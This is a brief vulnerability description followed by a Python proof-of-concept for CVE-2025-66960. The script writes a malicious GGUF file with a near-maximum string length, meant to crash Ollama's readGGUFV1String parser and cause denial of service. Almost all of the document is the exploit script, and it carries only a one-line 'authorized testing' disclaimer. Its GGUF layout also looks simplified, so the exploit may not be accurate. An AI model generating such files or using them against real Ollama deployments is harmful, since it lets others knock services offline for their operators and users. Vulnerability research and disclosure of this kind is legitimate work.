An issue in ollama v.0.12.10 allows a remote attacker to cause a denial of service via the fs/ggml/gguf.go, function readGGUFV1String reads a string length from untrusted GGUF metadata
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-66960 PoC - Malicious GGUF file generator
This PoC generates a crafted GGUF file that triggers panic in readGGUFV1String
"""
import struct
import sys
def create_malicious_gguf():
"""
Create a malicious GGUF file with oversized string length in metadata
"""
data = bytearray()
# GGUF magic number
data.extend(b'GGUF') # magic
# Version (v1)
data.extend(struct.pack('<I', 1)) # version = 1
# Tamper with the metadata section to cause readGGUFV1String panic
# The key is to set an extremely large string length value
# Metadata tag type (kvp): 3
data.extend(struct.pack('<I', 3)) # type = 3 (string)
# Malicious string key name
data.extend(b'malicious_key\x00')
# Crafted string length - use a very large value to trigger DoS
# This causes memory allocation failure or panic in readGGUFV1String
oversized_length = 0x7FFFFFFFFFFFFFFF # Near max int64
data.extend(struct.pack('<Q', oversized_length)) # string length
# Write the malicious GGUF file
with open('malicious.gguf', 'wb') as f:
f.write(data)
print(f"[+] Created malicious GGUF file: malicious.gguf")
print(f"[+] Oversized string length: {oversized_length}")
print(f"[!] When parsed by Ollama, this will trigger DoS in readGGUFV1String")
if __name__ == '__main__':
create_malicious_gguf()